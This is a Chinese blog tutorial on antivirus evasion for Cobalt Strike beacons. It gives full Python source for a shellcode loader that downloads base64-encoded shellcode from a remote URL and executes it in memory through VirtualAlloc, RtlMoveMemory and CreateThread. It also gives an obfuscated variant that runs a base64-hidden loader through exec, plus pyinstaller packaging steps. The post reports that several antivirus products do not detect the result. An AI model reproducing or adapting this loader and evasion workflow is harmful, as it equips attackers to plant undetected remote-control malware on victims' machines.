天天看點

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

CS分離免殺實戰

  • 一、原理簡述
  • 二、環境配置
  • 三、本地測試
      • 1.生成shellcode
      • 2.代碼變形
      • 3.pyinstaller打包
      • 4.免殺測試
CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

本次實踐參考小剛師傅的教程,詳細原理請看原文: https://mp.weixin.qq.com/

一、原理簡述

          通過

python requests

遠端下載下傳經過

base64

編碼後的

shellcode

loader

,然後解碼通過exec函數先執行

loader

,通過

loader

加載

shellcode

,最終達到CS上線目的。

二、環境配置

  • python2.7
  • pyinstaller 3.0.0
  • win10

為了防止不同版本出現的幺蛾子,在此供上我的python安裝包。

連結:https://pan.baidu.com/s/1ek3LYU8xqqjfQdqqt-dF8g

提取碼:1v27

三、本地測試

1.生成shellcode

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試
CS分離免殺實踐一、原理簡述二、環境配置三、本地測試
CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

保留payload.c中的雙引号部分内容,并将\x換為空,得到以fc開頭的一串字元。之後将其base64編碼放進伺服器

https://xxxxxxxx/1.txt

備用。

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

2.代碼變形

加載器源碼如下:

import ctypes
import requests
import base64

#下載下傳shellcode
scode = requests.get ("https://xxxxxxxx/1.txt")

# 解碼轉換為位元組類型檔案
shellcode = bytearray (base64.b64decode (scode.text).decode ('hex'))

# VirtualAlloc申請記憶體,并使用restype函數設定VirtualAlloc傳回類型為ctypes.c_unit64(系統位數)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

# LPVOID VirtualAlloc{LPVOID lpAddress, #要配置設定的記憶體區域的位址
#                     DWORD dwSize,      #配置設定的大小
#                     DWORD flAllocationType, #配置設定的類型
#                     DWORD flProtect     #該記憶體的初始保護屬性
#                     };

ptr = ctypes.windll.kernel32.VirtualAlloc (ctypes.c_int (0),
                                           ctypes.c_int (len (shellcode)),
                                           ctypes.c_int (0x3000),
                                           ctypes.c_int (0x40))
# 确定shellcode的大小
buf = (ctypes.c_char * len (shellcode)).from_buffer (shellcode)
# 從指定記憶體位址将内容複制到申請的記憶體中去
ctypes.windll.kernel32.RtlMoveMemory (ctypes.c_int (ptr),
                                      buf,
                                      ctypes.c_int (len (shellcode)))

# 建立線程
handle = ctypes.windll.kernel32.CreateThread (ctypes.c_int (0),
                                              ctypes.c_int (0),
                                              ctypes.c_uint64 (ptr),
                                              ctypes.c_int (0),
                                              ctypes.c_int (0),
                                              ctypes.pointer (ctypes.c_int (0)))

# 調用WaitForSingleObject函數用來檢測線程的狀态
ctypes.windll.kernel32.WaitForSingleObject (ctypes.c_int (handle), ctypes.c_int (-1))
           

變形後如下:

import ctypes
import requests
import base64

if __name__ == '__main__':
    scode = '''fc4883e................'''
    shellcode = bytearray (scode.decode('hex'))
    loader = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSxjdHlwZXMuY19pbnQoMHgzMDAwKSxjdHlwZXMuY19pbnQoMHg0MCkpO2J1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKTtoYW5kbGUgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLkNyZWF0ZVRocmVhZChjdHlwZXMuY19pbnQoMCksY3R5cGVzLmNfaW50KDApLGN0eXBlcy5jX3VpbnQ2NChwdHIpLGN0eXBlcy5jX2ludCgwKSxjdHlwZXMuY19pbnQoMCksY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLGN0eXBlcy5jX2ludCgtMSkp'''
    exec (base64.b64decode(loader))

           

由于考慮到網絡原因和python編碼問題(request下載下傳按照的是unicode編碼,直接decode(‘hex’)要報錯,可能和版本也有關系),可能有幺蛾子,是以就把shellcode和loader放在代碼裡了。

3.pyinstaller打包

需要事先裝幾個子產品

python -m pip install requests
python -m pip install pyinstaller==3.0
python -m pip install pypiwin32
           

如果網速太慢的話就用國内的鏡像,後面加幾個指令,例如:

python -m pip install pypiwin32 -i http://mirrors.aliyun.com/pypi/simple/  --trusted-host mirrors.aliyun.com
           

之後打包:

pyinstaller -F local-anti.py -i Favicon.ico -w
           

關于

pyinstaller

這幾個打包的參數說明如下:

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

在dist目錄下生成

local-anti.exe

,運作成功上線:

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

4.免殺測試

360:

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

火絨:

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

微步沙箱:

CS分離免殺實踐一、原理簡述二、環境配置三、本地測試

看下來隻有微軟引擎報毒,看來還可以。

繼續閱讀